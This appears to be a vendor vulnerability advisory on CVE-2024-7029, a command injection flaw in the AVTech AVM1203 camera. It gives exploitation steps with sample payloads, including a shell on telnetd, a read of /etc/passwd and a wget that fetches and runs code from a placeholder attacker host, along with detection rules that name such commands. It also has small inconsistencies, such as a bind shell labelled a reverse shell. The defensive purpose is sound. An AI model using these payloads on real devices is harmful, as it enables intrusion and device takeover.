CVE-2024-7029

Executive Summary

CVE-2024-7029 is an unauthenticated command injection vulnerability in the AVTech AVM1203 IP camera. The flaw allows a remote attacker to inject and execute arbitrary operating system commands over the network without requiring any authentication, granting full compromise of the device. The vulnerability carries a CVSS score of 8.8 (High) and is publicly documented with PoC material and a Nuclei detection template, indicating active interest from the security research and threat actor communities. AVTECH has not confirmed a fix, leaving all deployed AVM1203 units potentially exposed.

Technical Analysis

Vulnerability Class: CWE-77 — Command Injection

Description: The NVD description states: "Commands can be injected over the network and executed without authentication." This indicates that one or more network-facing endpoints on the AVM1203 accept user-supplied input that is improperly concatenated into an operating system command string without sanitization or authentication. An attacker who can reach the device's management interface or streaming/web service can inject shell metacharacters (e.g., ;, |, `, &&) followed by arbitrary commands, which the underlying system then executes with the privileges of the vulnerable service process (typically root on embedded devices).

Attack Surface: The AVM1203 is a network IP camera, so its attack surface includes:

• HTTP/HTTPS web management interface (typically ports 80/443)
• RTSP streaming service (typically port 554)
• Any proprietary UDP/TCP service the camera exposes

Because the NVD description does not identify a specific endpoint, the injection point cannot be confirmed. However, common command injection locations on IP cameras include CGI parameters (e.g., ?action=, ?cmd=), query strings, or other input fields passed to shell utilities.

Lack of Authentication: The "without authentication" clause indicates the vulnerable function executes before any access-control check. On many embedded camera firmware stacks, the web server or CGI handler spawns shell commands (e.g., system(), popen()) for features like network diagnostics, system reboot, or video stream control. If these handlers lack authentication checks, the entire attack surface is available to unauthenticated network attackers.

CNA Title Context: "Command Injection in AVTech AVM1203 (IP Camera)" confirms the affected product. No specific function names, parameters, or file paths are disclosed in the CVE data, so the precise injection point cannot be referenced without fabrication.

Exploitation Scenarios

Note: No specific technical exploit code is publicly available (Exploit Code: NO), but a Nuclei template exists. The attack chain described here is inferred strictly from the vulnerability class and the NVD description.

Step 1 — Reconnaissance / Target Identification:
An attacker scans the IPv4 space or uses Shodan/Censys to identify publicly exposed AVTech AVM1203 cameras. Default credentials (often admin/blank or admin/admin) are common on such devices, but are NOT required here because the vulnerability is unauthenticated. The attacker fingerprints the device by its HTTP banner, default page title, or specific JS/CSS assets unique to AVTECH firmware.

Step 2 — Triggering the Flaw:
The attacker sends crafted HTTP requests to the camera's web/CGI interface, embedding shell metacharacters in a parameter that the firmware passes to a system command. Because authentication is absent, the request requires no valid session. Example payload pattern: parameter=value;command or parameter=$(command).

Step 3 — Payload / Execution Method:
At the vulnerability-class level, the injected command is executed by the camera's shell with the privileges of the web server process (typically root on embedded devices). Common post-exploitation payloads include:

• Reverse shell to an attacker-controlled C2: cmd=telnetd -l /bin/sh -p 4444
• Credential exfiltration: cmd=cat /etc/passwd
• Firmware modification or persistence: cmd=wget http://attacker/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload

Step 4 — Post-Exploitation Impact:
Once code execution is achieved, the attacker has full control of the camera:

• Surveillance compromise: view live streams, alter recording settings, disable motion detection.
• Network pivot: the camera resides on the enterprise LAN; the attacker can scan and attack internal hosts (e.g., via ARP spoofing or SMB relay).
• Botnet recruitment: the compromised camera can be enrolled into DDoS botnets (e.g., Mirai variants) or used as a proxy.
• Persistence: the attacker can install a persistent backdoor in the firmware writeable filesystem or replace the firmware with a malicious build.

Impact Assessment

CVSS Analysis:

• Attack Vector: Network (AV:N) — remotely exploitable.
• Attack Complexity: Low (AC:L) — no special conditions required.
• Privileges Required: None (PR:N) — the critical enabler.
• User Interaction: Required (UI:R) — though on IP cameras this may be as low as a victim triggering a single webpage request or the UI:R flag may be conservative; the attack itself is remote and stealthy.
• Impact: High confidentiality, integrity, and availability (C:H/I:H/A:H) — full device compromise.

Business Impact:

• Surveillance integrity loss: A compromised camera may be disabled, altered, or used for corporate espionage (eavesdropping on facilities).
• Lateral movement risk: Cameras are often deployed on the same VLAN as office or production systems, making them a low-resistance foothold for attackers targeting the wider enterprise.
• Regulatory/compliance: Industries with physical security mandates (HIPAA, PCI-DSS for physical access areas) may face compliance breach if camera security is compromised, potentially leading to fines.
• Brand/reputation damage: for managed service providers that deploy these cameras on behalf of clients.

Blast Radius:

• Directly affected: all AVTech AVM1203 cameras with exposed network interfaces.
• Indirectly affected: any networks these cameras are attached to, plus any data that shares the network segment.
• EPSS note: EPSS score of 0.38998 (98.5th percentile) indicates high probability of exploitation in the near future, warning that this is a likely target for mass scanning and automated exploitation.

Detection Guidance

Sigma Rule

title: AVTech AVM1203 Command Injection Attempt (CVE-2024-7029)
id: 7f2c9d4e-8a1b-4c3d-9e5f-0a1b2c3d4e5f
status: experimental
description: Detects HTTP requests to AVTech AVM1203 web interface containing shell metacharacters indicative of command injection.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7029
author: Valtersit Threat Intelligence
date: 2025/04/14
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET|POST
        cs-uri-query|contains:
            - ';'
            - '|'
            - '`'
            - '&&'
            - ';cmd='
            - '|cmd='
            - '$(cmd)'
        c-useragent|contains:
            - 'curl'
            - 'wget'
            - 'nuclei'
            - 'masscan'
    condition: selection
falsepositives:
    - Legitimate admin using special chars in search fields (rare on embedded camera UI)
    - Vulnerability scanners (authorized)
level: high

YARA Rule

rule AVTech_AVM1203_Command_Injection_CVE_2024_7029 {
    meta:
        author = "Valtersit Threat Intelligence"
        date = "2025-04-14"
        description = "Detects HTTP request patterns attempting to exploit command injection in AVTech AVM1203 IP cameras"
        cve = "CVE-2024-7029"
        score = 80
    strings:
        $s1 = "cmd=" ascii wide
        $s2 = "action=" ascii wide
        $s3 = "system(" ascii wide
        $s4 = " /bin/sh" ascii wide
        $s5 = "|cmd=" ascii wide
        $s6 = ";cmd=" ascii wide
        $s7 = "id;" ascii wide
        $s8 = "cat /etc/passwd" ascii wide
        $s9 = "wget http" ascii wide
        $s10 = "telnetd" ascii wide
    condition:
        (uint16(0) == 0x0d0a or uint16(0) == 0x0a0d) and
        (1 of ($s1,$s2,$s5,$s6) and (any of ($s3,$s4,$s7,$s8,$s9,$s10))) or
        (all of ($s1,$s2))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT AVTech AVM1203 Command Injection Attempt (CVE-2024-7029)"; flow:established,to_server; content:"GET"; http_method; content:"cmd="; http_uri; pcre:"/(?:;|\||&|\$\(|`).*?(?:id|cat\s+\/etc\/passwd|wget|curl|telnetd|nc\s+-e)/iR"; classtype:attempted-admin; sid:2024702901; rev:1;)

Elastic Detection

sequence by source.ip
  [network where destination.port in (80, 443, 8080) and
   network.protocol == "http" and
   http.request.method in ("GET", "POST") and
   (http.request.body.text contains "cmd=" or http.request.uri contains "cmd=") and
   (http.request.body.text matches ".*(;|\\||&&|\\$\\()\s*(id|cat|wget|curl|uname|whoami|nc|python|perl).*" or
    http.request.uri matches ".*(;|\\||&&|\\$\\()\s*(id|cat|wget|curl|uname|whoami|nc|python|perl).*")]

Note: matches the URI/body containing both a command-injection indicator and a common post-exploitation command.

Splunk SPL Query

index=web sourcetype=access_combined
| where (uri LIKE "%cmd=%" OR form_data LIKE "%cmd=%")
| regex uri="(;|\||&&|\$\(|`).{0,20}(id|cat|wget|curl|uname|whoami|nc|telnet|python|perl)"
| eval threat="CVE-2024-7029", host=src_ip
| table _time, src_ip, dest_ip, uri, form_data, http_user_agent
| sort -_time

Wazuh OSSEC Rule

<group name="avtech,cve-2024-7029,">
    <rule id="626663" level="12" frequency="3" timeframe="60">
        <description>AVTech AVM1203 command injection attempt detected (CVE-2024-7029)</description>
        <field name="url" type="pcre2">(?i)(cmd=|action=|query=)</field>
        <field name="url" type="pcre2">(?i)(;|\||\&|\$\(|`).{0,20}(id|cat|wget|curl|uname|whoami|nc|telnetd|python|perl)</field>
        <group>attack.exploitation,attack.t1190,</group>
        <mitre><id>T1190</id></mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED. A single source (CNA) claims a patch exists, but it has not been independently confirmed. The vendor has not responded to CISA coordination requests, and no patch version has been disclosed. Treat this as unpatched until proven otherwise.

1. Immediate Mitigations (Short-Term)

• Network-level isolation: Place the camera behind a firewall that only allows management traffic from a dedicated admin IP or VLAN. Block internet access to the camera's web/RTSP ports.
• Disable remote administration: If the camera's web interface is not required for business operations, disable it or restrict to local access only (e.g., via VPN).
• Segment the network: Ensure IP cameras are on a separate, isolated VLAN with strict egress/ingress firewall rules. Do not allow cameras to initiate connections to the internet.
• Monitor for exploit attempts: Deploy the detection rules above (Suricata, Sigma, Splunk, etc.) and feed them into existing SIEM/SOC monitoring.
• Review logs: Check camera logs and network flow data for anomalous HTTP requests containing shell metacharacters.

2. Patch / Upgrade Steps (Medium-Term)

• Contact the vendor: Visit https://www.avtech.com.tw/ContactUs.aspx and request official patch information for CVE-2024-7029. Document the vendor's tracking/reference number.
• Firmware verification: If a patched firmware is released, download it ONLY from the official AVTECH website, verify hashes, and test in a controlled lab before production deployment.
• Alternative mitigation if no patch: If no fix is available, evaluate replacing the device with a vendor that demonstrates a security maintenance program (regular firmware updates, CVE coordination).

3. Long-Term Hardening

• Change default credentials: Immediately change the admin password to a strong, unique value. Although this vulnerability is unauthenticated, default credentials expose additional attack surface.
• Enable HTTPS with valid certificates (if supported) to prevent credential snooping.
• Regular firmware updates: Subscribe to AVTECH security advisories and apply all future patches within 72 hours of release.
• Supply-chain assessment: In procurement processes, require IoT vendors to demonstrate: (1) coordinated vulnerability disclosure policy, (2) 5+ years of firmware support, (3) SBOM (Software Bill of Materials) availability.
• Annual device review: Audit all connected IoT devices quarterly for known CVEs (using NVD API or commercial scanners) and retire devices from vendors that fail to respond to security issues.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-7029
   (Official CVE record with CVSS vector and description.)

2. CNA Advisory (AVTECH): No public advisory is available — vendor has not responded to CISA coordination requests. Vendor contact page: https://www.avtech.com.tw/ContactUs.aspx

3. CISA Known Exploited Vulnerabilities Catalog: CVE-2024-7029 is NOT listed in the KEV catalog as of this writing.

4. EPSS Data (FIRST.org): EPSS score 0.38998 (98.5th percentile) — https://www.first.org/epss/

5. Nuclei Template Repository (ProjectDiscovery): A public Nuclei template for CVE-2024-7029 exists in the community template repository, confirming public PoC interest: https://github.com/projectdiscovery/nuclei-templates

Threat Actor Campaigns / In-the-Wild Evidence:

• No confirmed in-the-wild exploitation campaign has been publicly reported to CISA or major security vendors as of this writing.
• However, the EPSS percentile (98.5%) strongly suggests automated scanning tools (e.g., Mirai-like botnet scanners, masscan, and Nuclei) are already targeting or will soon target this vulnerability.
• Given the historical pattern of IP camera command injection (e.g., CVE-2018-9995, CVE-2017-8225, numerous D-Link/Hikvision CVEs), we assess high likelihood of incorporation into botnet and ransomware initial-access toolkits within 30–60 days of public disclosure.